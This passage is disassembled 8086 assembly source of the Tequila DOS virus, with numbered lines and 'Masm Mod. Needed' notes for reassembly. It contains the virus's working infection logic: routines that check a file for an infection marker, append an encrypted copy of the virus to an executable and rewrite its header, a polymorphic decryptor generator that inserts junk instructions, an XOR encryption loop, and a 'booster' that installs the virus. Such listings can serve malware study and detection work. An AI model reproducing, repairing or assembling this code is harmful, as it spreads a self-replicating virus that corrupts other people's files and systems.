  1384.  
  1385.    CALL 06B4           ;Masm Mod. Needed
  1386.  
  1387.  
  1388.  
  1389. CLOSE_THE_FILE:
  1390.  
  1391.    MOV AH,03E
  1392.  
  1393.    CALL 06B4           ;Masm Mod. Needed
  1394.  
  1395.  
  1396.  
  1397. RESTORE_FILE_ATTRIBUTE:
  1398.  
  1399.    POP DS
  1400.  
  1401.    POP DX
  1402.  
  1403.    MOV AX,04301
  1404.  
  1405.    CS MOV CX,W[09AA]           ;Masm Mod. Needed
  1406.  
  1407.    CALL INT_21
  1408.  
  1409.  
  1410.  
  1411. RESTORE_CRIT_HANDLER:
  1412.  
  1413.    MOV AX,02524
  1414.  
  1415.    CS LDS DX,[09B8]           ;Masm Mod. Needed
  1416.  
  1417.    CALL INT_21
  1418.  
  1419.  
  1420.  
  1421. BAD_NAME:
  1422.  
  1423.    POP DS
  1424.  
  1425.    POP ES
  1426.  
  1427.    POP DI
  1428.  
  1429.    POP SI
  1430.  
  1431.    POP DX
  1432.  
  1433.    POP CX
  1434.  
  1435.    POP BX
  1436.  
  1437.    POP AX
  1438.  
  1439.    RET
  1440.  
  1441.  
  1442.  
  1443. CHECK_LETTERS_IN_FILENAME:
  1444.  
  1445.    PUSH DS
  1446.  
  1447.    POP ES
  1448.  
  1449.    MOV DI,DX
  1450.  
  1451.    MOV CX,-1
  1452.  
  1453.    XOR AL,AL
  1454.  
  1455.    CLD
  1456.  
  1457.    REPNE SCASB
  1458.  
  1459.    NOT CX
  1460.  
  1461.    MOV DI,DX
  1462.  
  1463.    MOV AX,04353
  1464.  
  1465.    MOV SI,CX
  1466.  
  1467.    SCASW
  1468.  
  1469.    JE 07B7           ;Masm Mod. Needed
  1470.  
  1471.    DEC DI
  1472.  
  1473.    LOOP 07A5           ;Masm Mod. Needed
  1474.  
  1475.    MOV CX,SI
  1476.  
  1477.    MOV DI,DX
  1478.  
  1479.    MOV AL,056
  1480.  
  1481.    REPNE SCASB
  1482.  
  1483.    JE 07B7           ;Masm Mod. Needed
  1484.  
  1485.    CLC
  1486.  
  1487.    RET
  1488.  
  1489.    STC
  1490.  
  1491.    RET
  1492.  
  1493.  
  1494.  
  1495. READ_PAST_END_OF_FILE:
  1496.  
  1497.    MOV CX,-1
  1498.  
  1499.    MOV DX,-0A
  1500.  
  1501.    CALL 06A8           ;Masm Mod. Needed
  1502.  
  1503.    MOV DX,0A65
  1504.  
  1505.    MOV CX,8
  1506.  
  1507.    CALL 069A           ;Masm Mod. Needed
  1508.  
  1509.    JB RET           ;Masm Mod. Needed
  1510.  
  1511.    CMP W[0A65],0FDF0           ;Masm Mod. Needed
  1512.  
  1513.    JNE 07F0           ;Masm Mod. Needed
  1514.  
  1515.    CMP W[0A67],0AAC5           ;Masm Mod. Needed
  1516.  
  1517.    JNE 07F0           ;Masm Mod. Needed
  1518.  
  1519.    MOV CX,-1
  1520.  
  1521.    MOV DX,-9
  1522.  
  1523.    CALL 06A8           ;Masm Mod. Needed
  1524.  
  1525.    MOV DX,0A6B
  1526.  
  1527.    MOV CX,4
  1528.  
  1529.    CALL 0696           ;Masm Mod. Needed
  1530.  
  1531.    RET
  1532.  
  1533.    CLC
  1534.  
  1535.    RET
  1536.  
  1537.  
  1538.  
  1539. ENCRYPT_AND_WRITE_TO_FILE:
  1540.  
  1541.    CALL MOVE_TO_END_OF_FILE
  1542.  
  1543.    MOV SI,AX
  1544.  
  1545.    MOV DI,DX
  1546.  
  1547.    MOV BX,0A49
  1548.  
  1549.    MOV AX,W[BX+4]
  1550.  
  1551.    MUL W[0D]           ;Masm Mod. Needed
  1552.  
  1553.    SUB AX,SI
  1554.  
  1555.    SBB DX,DI
  1556.  
  1557.    JAE 080C           ;Masm Mod. Needed
  1558.  
  1559.    JMP OUT_OF_ENCRYPT
  1560.  
  1561.    MOV AX,W[BX+8]
  1562.  
  1563.    MUL W[0B]           ;Masm Mod. Needed
  1564.  
  1565.    SUB SI,AX
  1566.  
  1567.    SBB DI,DX
  1568.  
  1569.    MOV AX,W[BX+0E]
  1570.  
  1571.    MOV W[4],AX           ;Masm Mod. Needed
  1572.  
  1573.    ADD W[4],010           ;Masm Mod. Needed
  1574.  
  1575.    MUL W[0B]           ;Masm Mod. Needed
  1576.  
  1577.    ADD AX,W[BX+010]
  1578.  
  1579.    SUB AX,SI
  1580.  
  1581.    SBB DX,DI
  1582.  
  1583.    JB 083C           ;Masm Mod. Needed
  1584.  
  1585.    SUB AX,080
  1586.  
  1587.    SBB DX,0
  1588.  
  1589.    JB RET           ;Masm Mod. Needed
  1590.  
  1591.    ADD W[BX+0E],09B
  1592.  
  1593.    MOV AX,W[BX+016]
  1594.  
  1595.    ADD AX,010
  1596.  
  1597.    MOV W[2],AX           ;Masm Mod. Needed
  1598.  
  1599.    MOV AX,W[BX+014]
  1600.  
  1601.    MOV W[0],AX           ;Masm Mod. Needed
  1602.  
  1603.    CALL 06A4           ;Masm Mod. Needed
  1604.  
  1605.    ADD AX,09A4
  1606.  
  1607.    ADC DX,0
  1608.  
  1609.    DIV W[0D]           ;Masm Mod. Needed
  1610.  
  1611.    INC AX
  1612.  
  1613.    MOV W[0A4D],AX           ;Masm Mod. Needed
  1614.  
  1615.    MOV W[0A4B],DX           ;Masm Mod. Needed
  1616.  
  1617.    MOV DX,DI
  1618.  
  1619.    MOV AX,SI
  1620.  
  1621.    DIV W[0B]           ;Masm Mod. Needed
  1622.  
  1623.    MOV W[0A5F],AX           ;Masm Mod. Needed
  1624.  
  1625.    MOV BX,DX
  1626.  
  1627.    ADD DX,0960
  1628.  
  1629.    MOV W[0A5D],DX           ;Masm Mod. Needed
  1630.  
  1631.    CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
  1632.  
  1633.    JB RET           ;Masm Mod. Needed
  1634.  
  1635.    OR W[09AE],01F           ;Masm Mod. Needed
  1636.  
  1637.    MOV BX,W[09BC]
  1638.  
  1639.    AND BX,01F
  1640.  
  1641.    SHL BX,1
  1642.  
  1643.    MOV AX,W[BX+0E8]
  1644.  
  1645.    MOV W[0A5B],AX           ;Masm Mod. Needed
  1646.  
  1647.    CALL MOVE_TO_BEGINNING_OF_FILE
  1648.  
  1649.    MOV CX,01C
  1650.  
  1651.    MOV DX,0A49
  1652.  
  1653.  
  1654.  
  1655. WRITE_THE_NEW_HEADER:
  1656.  
  1657.    CALL 0696           ;Masm Mod. Needed
  1658.  
  1659.  OUT_OF_ENCRYPT:
  1660.  
  1661.    RET
  1662.  
  1663.  
  1664.  
  1665. COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
  1666.  
  1667.    PUSH BP
  1668.  
  1669.    XOR AH,AH
  1670.  
  1671.    INT 01A
  1672.  
  1673.    MOV AX,DX
  1674.  
  1675.    MOV BP,DX
  1676.  
  1677.    PUSH DS
  1678.  
  1679.    POP ES
  1680.  
  1681.    MOV DI,0960
  1682.  
  1683.    MOV SI,DI
  1684.  
  1685.    MOV CX,020
  1686.  
  1687.    CLD
  1688.  
  1689.    REP STOSW
  1690.  
  1691.    XOR DX,DX
  1692.  
  1693.    MOV ES,DX
  1694.  
  1695.    CALL ENCRYPT_STEP_ONE
  1696.  
  1697.    CALL ENCRYPT_STEP_TWO
  1698.  
  1699.    CALL ENCRYPT_STEP_THREE
  1700.  
  1701.    MOV B[SI],0E9
  1702.  
  1703.    MOV DI,028C
  1704.  
  1705.    SUB DI,SI
  1706.  
  1707.    SUB DI,3
  1708.  
  1709.    INC SI
  1710.  
  1711.    MOV W[SI],DI
  1712.  
  1713.    MOV AX,0A04
  1714.  
  1715.    CALL AX
  1716.  
  1717.    POP BP
  1718.  
  1719.    RET
  1720.  
  1721.  
  1722.  
  1723. ENCRYPT_STEP_ONE:
  1724.  
  1725.    DEC BP
  1726.  
  1727.    ES TEST B[BP],2           ;Masm Mod. Needed
  1728.  
  1729.    JNE 08EB           ;Masm Mod. Needed
  1730.  
  1731.    MOV B[SI],0E
  1732.  
  1733.    INC SI
  1734.  
  1735.    CALL GARBLER
  1736.  
  1737.    MOV B[SI],01F
  1738.  
  1739.    INC SI
  1740.  
  1741.    CALL GARBLER
  1742.  
  1743.    RET
  1744.  
  1745.    MOV W[SI],0CB8C
  1746.  
  1747.    INC SI
  1748.  
  1749.    INC SI
  1750.  
  1751.    CALL GARBLER
  1752.  
  1753.    MOV W[SI],0DB8E
  1754.  
  1755.    INC SI
  1756.  
  1757.    INC SI
  1758.  
  1759.    CALL GARBLER
  1760.  
  1761.    RET
  1762.  
  1763.  
  1764.  
  1765. ENCRYPT_STEP_TWO:
  1766.  
  1767.    AND CH,0FE
  1768.  
  1769.    DEC BP
  1770.  
  1771.    ES TEST B[BP],2           ;Masm Mod. Needed
  1772.  
  1773.    JE 0920           ;Masm Mod. Needed
  1774.  
  1775.    OR CH,1
  1776.  
  1777.    MOV B[SI],0BE
  1778.  
  1779.    INC SI
  1780.  
  1781.    MOV W[SI],BX
  1782.  
  1783.    INC SI
  1784.  
  1785.    INC SI
  1786.  
  1787.    CALL GARBLER
  1788.  
  1789.    ADD BX,0960
  1790.  
  1791.    TEST CH,1
  1792.  
  1793.    JE 0934           ;Masm Mod. Needed
  1794.  
  1795.    MOV B[SI],0BB
  1796.  
  1797.    INC SI
  1798.  
  1799.    MOV W[SI],BX
  1800.  
  1801.    INC SI
  1802.  
  1803.    INC SI
  1804.  
  1805.    CALL GARBLER
  1806.  
  1807.    ADD BX,0960
  1808.  
  1809.    TEST CH,1
  1810.  
  1811.    JE 090C           ;Masm Mod. Needed
  1812.  
  1813.    SUB BX,0960
  1814.  
  1815.    CALL GARBLER
  1816.  
  1817.    MOV B[SI],0B9
  1818.  
  1819.    INC SI
  1820.  
  1821.    MOV AX,0960
  1822.  
  1823.    MOV W[SI],AX
  1824.  
  1825.    INC SI
  1826.  
  1827.    INC SI
  1828.  
  1829.    CALL GARBLER
  1830.  
  1831.    CALL GARBLER
  1832.  
  1833.    RET
  1834.  
  1835.  
  1836.  
  1837. ENCRYPT_STEP_THREE:
  1838.  
  1839.    MOV AH,014
  1840.  
  1841.    MOV DH,017
  1842.  
  1843.    TEST CH,1
  1844.  
  1845.    JE 0958           ;Masm Mod. Needed
  1846.  
  1847.    XCHG DH,AH
  1848.  
  1849.    MOV DI,SI
  1850.  
  1851.    MOV AL,08A
  1852.  
  1853.    MOV W[SI],AX
  1854.  
  1855.    INC SI
  1856.  
  1857.    INC SI
  1858.  
  1859.    CALL GARBLER
  1860.  
  1861.    XOR DL,DL
  1862.  
  1863.    MOV B[0A39],028           ;Masm Mod. Needed
  1864.  
  1865.    DEC BP
  1866.  
  1867.    ES TEST B[BP],2           ;Masm Mod. Needed
  1868.  
  1869.    JE 0978           ;Masm Mod. Needed
  1870.  
  1871.    MOV DL,030
  1872.  
  1873.    MOV B[0A39],DL           ;Masm Mod. Needed
  1874.  
  1875.    MOV W[SI],DX
  1876.  
  1877.    INC SI
  1878.  
  1879.    INC SI
  1880.  
  1881.    MOV W[SI],04346
  1882.  
  1883.    INC SI
  1884.  
  1885.    INC SI
  1886.  
  1887.    CALL GARBLER
  1888.  
  1889.    MOV AX,0FE81
  1890.  
  1891.    MOV CL,0BE
  1892.  
  1893.    TEST CH,1
  1894.  
  1895.    JE 0993           ;Masm Mod. Needed
  1896.  
  1897.    MOV AH,0FB
  1898.  
  1899.    MOV CL,0BB
  1900.  
  1901.    MOV W[SI],AX
  1902.  
  1903.    INC SI
  1904.  
  1905.    INC SI
  1906.  
  1907.    PUSH BX
  1908.  
  1909.    ADD BX,040
  1910.  
  1911.    MOV W[SI],BX
  1912.  
  1913.    INC SI
  1914.  
  1915.    INC SI
  1916.  
  1917.    POP BX
  1918.  
  1919.    MOV B[SI],072
  1920.  
  1921.    INC SI
  1922.  
  1923.    MOV DX,SI
  1924.  
  1925.    INC SI
  1926.  
  1927.    CALL GARBLER
  1928.  
  1929.    MOV B[SI],CL
  1930.  
  1931.    INC SI
  1932.  
  1933.    MOV W[SI],BX
  1934.  
  1935.    INC SI
  1936.  
  1937.    INC SI
  1938.  
  1939.    MOV AX,SI
  1940.  
  1941.    SUB AX,DX
  1942.  
  1943.    DEC AX
  1944.  
  1945.    MOV BX,DX
  1946.  
  1947.    MOV B[BX],AL
  1948.  
  1949.    CALL GARBLER
  1950.  
  1951.    CALL GARBLER
  1952.  
  1953.    MOV B[SI],0E2
  1954.  
  1955.    INC SI
  1956.  
  1957.    SUB DI,SI
  1958.  
  1959.    DEC DI
  1960.  
  1961.    MOV AX,DI
  1962.  
  1963.    MOV B[SI],AL
  1964.  
  1965.    INC SI
  1966.  
  1967.    CALL GARBLER
  1968.  
  1969.    RET
  1970.  
  1971.  
  1972.  
  1973. GARBLER:
  1974.  
  1975.    DEC BP
  1976.  
  1977.    ES TEST B[BP],0F           ;Masm Mod. Needed
  1978.  
  1979.    JE RET           ;Masm Mod. Needed
  1980.  
  1981.    DEC BP
  1982.  
  1983.    ES MOV AL,B[BP]           ;Masm Mod. Needed
  1984.  
  1985.    TEST AL,2
  1986.  
  1987.    JE 0A0E           ;Masm Mod. Needed
  1988.  
  1989.    TEST AL,4
  1990.  
  1991.    JE 09F7           ;Masm Mod. Needed
  1992.  
  1993.    TEST AL,8
  1994.  
  1995.    JE 09F1           ;Masm Mod. Needed
  1996.  
  1997.    MOV W[SI],0C789
  1998.  
  1999.    INC SI
  2000.  
  2001.    INC SI
  2002.  
  2003.    JMP RET           ;Masm Mod. Needed
  2004.  
  2005.    MOV B[SI],090
  2006.  
  2007.    INC SI
  2008.  
  2009.    JMP RET           ;Masm Mod. Needed
  2010.  
  2011.    MOV AL,085
  2012.  
  2013.    DEC BP
  2014.  
  2015.    ES MOV AH,B[BP]           ;Masm Mod. Needed
  2016.  
  2017.    TEST AH,2
  2018.  
  2019.    JE 0A05           ;Masm Mod. Needed
  2020.  
  2021.    DEC AL
  2022.  
  2023.    OR AH,0C0
  2024.  
  2025.    MOV W[SI],AX
  2026.  
  2027.    INC SI
  2028.  
  2029.    INC SI
  2030.  
  2031.    JMP RET           ;Masm Mod. Needed
  2032.  
  2033.    DEC BP
  2034.  
  2035.    ES TEST B[BP],2           ;Masm Mod. Needed
  2036.  
  2037.    JE 0A1A           ;Masm Mod. Needed
  2038.  
  2039.    MOV AL,039
  2040.  
  2041.    JMP 09F9           ;Masm Mod. Needed
  2042.  
  2043.    MOV B[SI],0FC
  2044.  
  2045.    INC SI
  2046.  
  2047.    RET
  2048.  
  2049.  
  2050.  
  2051. MAKE_THE_DISK_WRITE:
  2052.  
  2053.    CALL PERFORM_ENCRYPTION_DECRYPTION
  2054.  
  2055.    MOV AH,040
  2056.  
  2057.    MOV BX,W[09A4]
  2058.  
  2059.    MOV DX,0
  2060.  
  2061.    MOV CX,09A4
  2062.  
  2063.    PUSHF
  2064.  
  2065.    CALL D[09B4]           ;Masm Mod. Needed
  2066.  
  2067.    JB 0A37           ;Masm Mod. Needed
  2068.  
  2069.    SUB AX,CX
  2070.  
  2071.    PUSHF
  2072.  
  2073.    CMP B[0A39],028           ;Masm Mod. Needed
  2074.  
  2075.    JNE 0A44           ;Masm Mod. Needed
  2076.  
  2077.    MOV B[0A39],0           ;Masm Mod. Needed
  2078.  
  2079.    CALL PERFORM_ENCRYPTION_DECRYPTION
  2080.  
  2081.    POPF
  2082.  
  2083.    RET
  2084.  
  2085.  
  2086.  
  2087. PERFORM_ENCRYPTION_DECRYPTION:
  2088.  
  2089.    MOV BX,0
  2090.  
  2091.    MOV SI,0960
  2092.  
  2093.    MOV CX,0960
  2094.  
  2095.    MOV DL,B[SI]
  2096.  
  2097.    XOR B[BX],DL
  2098.  
  2099.    INC SI
  2100.  
  2101.    INC BX
  2102.  
  2103.    CMP SI,09A0
  2104.  
  2105.    JB 0A61           ;Masm Mod. Needed
  2106.  
  2107.    MOV SI,0960
  2108.  
  2109.    LOOP 0A52           ;Masm Mod. Needed
  2110.  
  2111.    RET
  2112.  
  2113.  
  2114.  
  2115. THE_FILE_DECRYPTING_ROUTINE:
  2116.  
  2117.    PUSH CS
  2118.  
  2119.    POP DS
  2120.  
  2121.    MOV BX,4
  2122.  
  2123.    MOV SI,0964
  2124.  
  2125.    MOV CX,0960
  2126.  
  2127.    MOV DL,B[SI]
  2128.  
  2129.    ADD B[BX],DL
  2130.  
  2131.    INC SI
  2132.  
  2133.    INC BX
  2134.  
  2135.    CMP SI,09A4
  2136.  
  2137.    JB 0A7E           ;Masm Mod. Needed
  2138.  
  2139.    MOV SI,0964
  2140.  
  2141.    LOOP 0A6F           ;Masm Mod. Needed
  2142.  
  2143.    JMP 0390           ;Masm Mod. Needed
  2144.  
  2145.  
  2146.  
  2147. ;========== THE FOLLOWING IS NOT PART OF THE VIRUS ========
  2148.  
  2149. ;==========       BUT IS MERELY THE BOOSTER.       ========
  2150.  
  2151.  
  2152.  
  2153. START:
  2154.  
  2155.    LEA W[0104],EXIT           ;Masm Mod. Needed
  2156.  
  2157.    MOV W[0106],CS           ;Masm Mod. Needed
  2158.  
  2159.    MOV BX,CS
  2160.  
  2161.    SUB W[0106],BX           ;Masm Mod. Needed
  2162.  
  2163.    JMP INSTALL
  2164.  
  2165.  
  2166.  
  2167. EXIT:
  2168.  
  2169.    INT 020
  2170.  
  2171.  
  2172.  
  2173. TEQUILA ENDP
  2174.  
  2175. CODE_SEG ENDS
  2176.  
  2177. END TEQUILA